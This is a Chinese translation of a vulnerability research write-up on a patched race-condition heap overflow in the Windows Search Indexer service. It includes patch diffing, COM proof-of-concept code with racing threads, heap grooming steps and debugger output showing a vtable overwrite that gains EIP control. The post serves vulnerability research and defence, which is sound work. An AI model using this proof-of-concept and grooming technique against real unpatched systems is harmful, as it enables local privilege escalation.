Windows Search Indexer本地权限提升漏洞分析

阅读量532299

|

发布时间 : 2020-04-07 16:31:07

x
译文声明

本文是翻译文章,文章原作者 diffense,文章来源:blog.diffense.co.k

原文地址:http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html

译文仅供参考,具体内容表达以及含义原文为准。

 

概述

2020年1月至2月期间,微软修复了Windows Search Indexer(Windows搜索索引器)中存在的多个漏洞。

如上图所示,微软在Windows Search Indexer中发现了众多本地权限提升漏洞。在本文中,我们将分析这些补丁的细节,并分享这些漏洞的详细信息。

 

关于Windows Search Indexer

Windows Search Indexer是一项用于为Windows Search处理文件索引的Windows系统服务,该服务为Windows系统内置的文件搜索引擎提供了动力,而文件搜索引擎则用于包括“开始”菜单搜索框、Windows资源管理器以及库功能在内的诸多地方。

Search Indexer主要使用GUI图形界面,将用户定向到该服务的界面,如下图所示。

索引过程中的所有数据库(包括临时数据库)都将存储为文件的形式以进行管理。通常情况下,在Windows Server中,整个过程都是使用NT AUTHORITY SYSTEM特权来执行的。然而,如果由于修改文件路径而导致出现逻辑错误,这可能会触发特权提升(例如:Symlink攻击)。

考虑到近期在Windows服务中发现的大多数漏洞都是由于逻辑错误而导致的本地权限提升(LPE)漏洞,因此我们在分析之前,也首先将Search Indexer的漏洞假定为这种类型。但在详细分析的过程中,我们却发现事实并非如此。

 

补丁差异对比

我们进行分析所使用的环境是Windows 7 x86,因为该操作系统所对应的更新补丁相对较小,这将有助于我们识别补丁安装前后代码的差异。我们下载了该模块的两个补丁版本。

可以从Microsoft更新目录下载补丁:

1、修复后版本(2020年1月例行补丁):KB45343142

2、修复后版本(2020年2月例行补丁):KB45378133

要进行对比,我们首先需要对比补丁程序修改前后的二进制文件差异。实际上,这两个补丁仅修改了一个二进制文件,即searchindexer.exe。

上述补丁,是通过修改CSearchCrawlScopeManager和CSearchRoot类来完成漏洞修复的。前一个类是在1月补丁中实现了修复,而后者是在2月补丁中实现修复。这两个类中,都包含相同的更改内容,因此我们仅专注于对CSearchRoot类的分析。

如下图所示,展示了这个类中的原始代码,该代码使用锁来实现安全访问共享资源。我们推断,访问共享资源时会导致竞争条件漏洞的发生,因为在补丁中包含putter和getter函数。

 

如何与接口进行交互

我们参考了MSDN官方文档,以进一步了解如何使用这些类。我们发现,这些类都与Crawl Scope Manager有关。接下来,我们详细分析这个类中包含的方法。

根据MSDN:

Crawl Scope Manager(CSM)是一组API,可以用于添加、删除和枚举Windows Search Indexer的搜索根和范围规则。当使用索引器开始爬取新的容器时,可以使用CSM来设置要搜索的根,并为搜索根中的路径设置作用域规则。

CSM的接口包括:

IEnumSearchRoots
IEnumSearchScopeRules
ISearchCrawlScopeManager
ISearchCrawlScopeManager2
ISearchRoot
ISearchScopeRule
ISearchItem

举例来说,添加、删除和枚举搜索根和范围规则,可以通过以下方式来编写:

ISearchCrawlScopeManager通知搜索引擎需要爬取和(或)监控的容器,以及要包含或排除的容器下项目。如果需要添加新的搜索根,需要实例化ISearchRoot对象,设置根属性,然后调用ISearchCrawlScopeManager::AddRoot并将其传递给ISearchRoot对象的指针。

// Add RootInfo & Scope Rule
pISearchRoot->put_RootURL(L"file:///C: ");
pSearchCrawlScopeManager->AddRoot(pISearchRoot);
pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:Windows", fInclude, FF_INDEXCOMPLEXURLS);

// Set Registry key
pSearchCrawlScopeManager->SaveAll();

当我们不再希望对该URL进行索引时,还可以使用ISearchCrawlScopeManager从爬取范围中删除根。删除根的同时,会删除该URL的所有范围规则。我们可以卸载应用程序,删除所有数据,然后从搜索范围中删除搜索根目录,随后Crawl Scope Manager将会删除根,同时也将删除与该根相关联的所有范围规则。

// Remove RootInfo & Scope Rule
ISearchCrawlScopeManager->RemoveRoot(pszURL);

// Set Registry key
ISearchCrawlScopeManager->SaveAll();

CSM使用IEnumSearchRoots来枚举搜索根。出于多种目的,我们可以使用这个类来枚举搜索根。例如,我们可能想要在用户界面中显示整个爬取的范围,或者发现爬取范围中是否已经包含特定的根目录或根目录的子级。

// Display RootInfo
PWSTR pszUrl = NULL;
pSearchRoot->get_RootURL(&pszUrl);
wcout << L"t" << pszUrl;

// Display Scope Rule
IEnumSearchScopeRules *pScopeRules;
pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);

ISearchScopeRule *pSearchScopeRule;
pScopeRules->Next(1, &pSearchScopeRule, NULL))

pSearchScopeRule->get_PatternOrURL(&pszUrl);
wcout << L"t" << pszUrl;

由此,我们认为,在处理URL的过程中会产生漏洞。接下来,我们将分析导致该漏洞存在的根本原因。

 

根本原因分析

我们针对以下功能进行了二进制分析:

ISearchRoot::put_RootURL
ISearchRoot::get_RootURL

在分析ISearchRoot::put_RootURL和ISearchRoot::get_RootURL时,我们发现其中引用了对象的共享变量(CSearchRoot + 0x14)。

put_RootURL函数将用户控制的数据写入到CSearchRoot+0x14内存中。get_RootURL函数读取位于CSearchRoot+0x14内存中的数据。该漏洞似乎是由于与补丁有关的共享变量引起的。

我们就从这里开始分析。

该漏洞位于两次获取长度的过程中,在发生以下情况时,可能会触发该漏洞:

1、第一次获取:用作内存分配大小(第9行);
2、第二次获取:用作内存副本大小(第13行)。

如果第一次和第二次的大小不同,则可能会发生堆溢出的情况,特别是在第二次获取到的大小较大的情况下。我们认为,在发生内存复制之前,攻击者可能通过竞争条件更改了pszURL的大小。

 

发生崩溃

通过OleView,我们可以看到Windows Search Manager提供的接口。并且,我们需要根据接口的方法来复现漏洞。

根据MSDN提供的信息,我们可以使用基于COM的命令行源代码,轻松地对其进行测试。我们编写了用于攻击漏洞所在函数的COM客户端代码,如下所示:

int wmain(int argc, wchar_t *argv[])
{
    // Initialize COM library
    CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);

    // Class instantiate
    ISearchRoot *pISearchRoot;
    CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));

    // Vulnerable functions hit
    pISearchRoot->put_RootURL(L"Shared RootURL");
    PWSTR pszUrl = NULL;
    HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);
    wcout << L"t" << pszUrl;
    CoTaskMemFree(pszUrl);

    // Free COM resource, End
    pISearchRoot->Release();
    CoUninitialize();
}

在此之后,触发漏洞的过程非常简单。我们创建了两个线程:一个线程将不同长度的数据写入共享缓冲区,另一个线程在与此同时从共享缓冲区中读取数据。

DWORD __stdcall thread_putter(LPVOID param)
{
    ISearchManager *pSearchManager = (ISearchManager*)param;
    while (1) {
        pSearchManager->put_RootURL(L"AA");
        pSearchManager->put_RootURL(L"AAAAAAAAAA");
    }
    return 0;
}

DWORD __stdcall thread_getter(LPVOID param)
{
    ISearchRoot *pISearchRoot = (ISearchRoot*)param;
    PWSTR get_pszUrl;
    while (1) {
        pISearchRoot->get_RootURL(&get_pszUrl);
    }
    return 0;
}

由此就导致了崩溃。

毫无疑问,在StringCchCopyW函数复制RootURL数据之前,竞争条件就已经成功,并且导致堆溢出。

 

EIP控制

为了控制EIP,我们需要为存在漏洞的服务器堆创建一个对象。

我们编写了如下的客户端代码,以跟踪堆的状态。

int wmain(int argc, wchar_t *argv[])
{
    CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE);
    ISearchRoot *pISearchRoot[20];
    for (int i = 0; i < 20; i++) {
        CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));
    }
    pISearchRoot[3]->Release();
    pISearchRoot[5]->Release();
    pISearchRoot[7]->Release();
    pISearchRoot[9]->Release();
    pISearchRoot[11]->Release();


    CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL);
    CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL);
    Sleep(500);

    CoUninitialize();
    return 0;
}

由此发现,如果客户端不释放pISearchRoot对象,那么IRpcStubBuffer对象将会保留在服务器堆上。并且,我们还发现,IRpcStubBuffer对象位于漏洞所在堆的位置附近。

    0:010> !heap -p -all
    ...
    03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return
        mssprxy!_idxpi_IID_Lookup <PERF> (mssprxy+0x75)
    03d58f38 0005 0005  [00]   03d58f40    00020 - (free)
    03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj
      ? mssprxy!_ISearchRootStubVtbl+10
    03d58f88 0005 0005  [00]   03d58f90    0001c - (busy)
      ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj
    03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy)
    03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy)
      ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj
    03d59000 0005 0005  [00]   03d59008    0001c - (busy)
      ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj
    03d59028 0005 0005  [00]   03d59030    00020 - (busy)
    03d59050 0005 0005  [00]   03d59058    00020 - (busy)
    03d59078 0005 0005  [00]   03d59080    00020 - (free)
    03d590a0 0005 0005  [00]   03d590a8    00020 - (free)
    03d590c8 0005 0005  [00]   03d590d0    0001c - (busy)
      ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj

在COM中,所有的接口都有自己的接口存根空间(Interface Stub Space)。存根是用于在RPC通信期间支持远程方法调用的较小内存空间,而IRpcStubBuffer是这类接口存根的主要接口。在这个过程中,支持pISearchRoot的接口存根的IRpcStubBuffer仍然保留在服务器堆中。

IRpcStubBuffer的vtfunction如下:

    0:003> dds poi(03d58f18) l10
    71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface
    71215bcc  71217073 mssprxy!CStdStubBuffer_AddRef
    71215bd0  71216840 mssprxy!CStdStubBuffer_Release
    71215bd4  71217926 mssprxy!CStdStubBuffer_Connect
    71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();
    71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke
    71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported
    71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs
    71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface
    71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease

当客户端的COM未初始化时,IRpcStubBuffer::Disconnect会断开对象指针的所有连接。因此,如果客户端调用CoUninitialize函数,则会在服务器上调用CStdStubBuffer_Disconnect函数。这意味着,用户可以构造一个伪造的vtable,从而调用该函数。

但是,我们并不能每次都看到IRpcStubBuffer分配在同一个堆上。因此,攻击者可能需要多次尝试来构造堆布局。经过几次尝试后,发现IRpcStubBuffer对象可以被以下可控值(0x45454545)覆盖。

至此,我们就已经证明了,可以间接调用内存中的任何函数。

 

总结

近期,在Windows服务中发现的大多数本地权限提升漏洞都可以归类为逻辑漏洞。通过上述方式对Windows Search Indexer的内存损坏漏洞进行分析的过程非常有趣。我们知道,在后续,很可能还会发现其他Windows服务中存在这样的内存损坏漏洞,因此防御者不应该忽视这样的可能性。

我们希望上述分析过程可以对其他漏洞研究人员有所帮助,同时希望这些信息可以用于进一步的研究。

 

参考

[1] https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments
[2] https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314
[3] https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813
[4] https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm
[5] https://github.com/tyranid/oleviewdotnet
[6] https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline

本文翻译自blog.diffense.co.k 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
P!chu
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66